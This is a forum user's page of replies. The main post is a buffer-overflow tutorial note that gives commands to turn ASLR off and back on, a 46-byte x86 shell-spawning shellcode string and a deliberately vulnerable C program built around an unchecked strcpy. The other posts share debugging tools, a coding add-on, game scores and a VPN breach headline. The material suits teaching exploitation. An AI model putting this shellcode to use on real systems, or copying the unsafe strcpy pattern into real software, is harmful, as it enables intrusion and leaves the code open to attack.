Forum Replies Created
-
Posts
-
Another good tutorial using GDB program.
NOTE: If this tutorial is not working it is likely that you have aslr enabled. To disable it run the following command in your terminal
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
When you are finished I strongly recommend you turn it back on with the command
echo 2 | sudo tee /proc/sys/kernel/randomize_va_spaceThe 46 byte shellcode (x86*) used in this program is
“\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”# Sample buffer overflow program.
Save to example.c program#include <stdio.h> #include <string.h> int main(int argc, char *argv[]){ char buf[256]; strcpy(buf, argv[1]); printf("%s\n", buf); return 0; }Additional resources.
http://www.brendangregg.com/blog/2016-08-09/gdb-example-ncurses.html (GDB)
http://phrack.org/issues/49/14.html (Buffer Overflow Concepts)
https://www.cprogramming.com/gdb.html (GDB)
https://docs.python.org/3/tutorial/
https://www.hacksplaining.com ( For SQL injection / Javascript / XSS/ CSRF Vulnerabilities)I just found this add-on. Anyone use it?
TabNine uses deep learning to help you write code faster.
https://www.tabnine.com/Update CodeTable https://code.hackerearth.com is shutting down.
Other cool tools to play
Olly Debuy
http://www.ollydbg.de/IDAPro – Freeware download.
https://www.hex-rays.com/products/ida/support/download_freeware.shtmlGot other tools, share it with us. Thanks.
Added my score today, barely at 5. Try harder
Try your luck, play the game.
https://www.multiplaying.com/FlappyBird/Highest score is 13 as of September 2019.
Beat that score, play the game.
https://www.multiplaying.com/FlappyBird/TechCrunch published a story about NordVPN got hacked.